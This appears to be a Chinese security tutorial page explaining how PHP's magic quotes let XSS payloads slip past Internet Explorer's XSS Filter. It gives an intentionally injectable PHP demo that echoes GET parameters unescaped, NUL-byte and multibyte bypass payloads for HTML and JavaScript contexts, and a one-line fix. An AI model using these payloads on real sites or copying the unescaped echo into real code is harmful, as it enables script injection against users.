网站地图    收藏   

主页 > 后端 > 网站安全 >

PHP魔术引号导致IE XSS Filter bypass - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 在一些web容器中会对一些特殊字符做转换处理,这中间ie xss filter开发人员任何地方对它的了解有疏忽,都很可能导致bypass.在php中,如果开启了魔术引号特性(magic_quotes_gpc = On),则lsquo;(single-...

在一些web容器中会对一些特殊字符做转换处理,这中间ie xss filter开发人员任何地方对它的了解有疏忽,都很可能导致bypass.
在php中,如果开启了”魔术引号”特性(magic_quotes_gpc = On),则‘(single-quote), “(double quote), \ (backslash) 和NULL 字符将都会被反斜杠转义(%00 =>\0).
 
1. xss.php demo source code:
 
 
<?php echo $_GET['x']?>
<script type="text/javascript">
var x="<?php echo $_GET['z']?>"
</script>
 
2. HTML bypass case:
 
<script>alert(1)</script>  
<script/%00%00%00%00%00>alert(1)</script>  
%00%00v%00%00<script>alert(1)</script>  
<script/%00%00v%00%00>alert(1)</script>
 
tips:
1. 绕过字符必须出现在拦截规则中,例如拦截<script>就可以是<script [here]>.
 
3. Javascript bypass case:
 
 
“;alert(1)//  
%c0″;alert(%00)//  
%c0″;//(%0dalert(1)//  
%c0″;//(%0dalert(1)//  
%c0″;//(%00%0dalert(1)//  
%c0″//(%000000%0dalert(1)//
 
tips: www.2cto.com
 
1. 需要通过多字节问题吃掉一个\.
2. //(%000000%0d是用于绕过函数调用的拦截规则.
 
 
 
修复方案:

加入%00 => \0 规则,当然这样可能还会产生别的问题

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论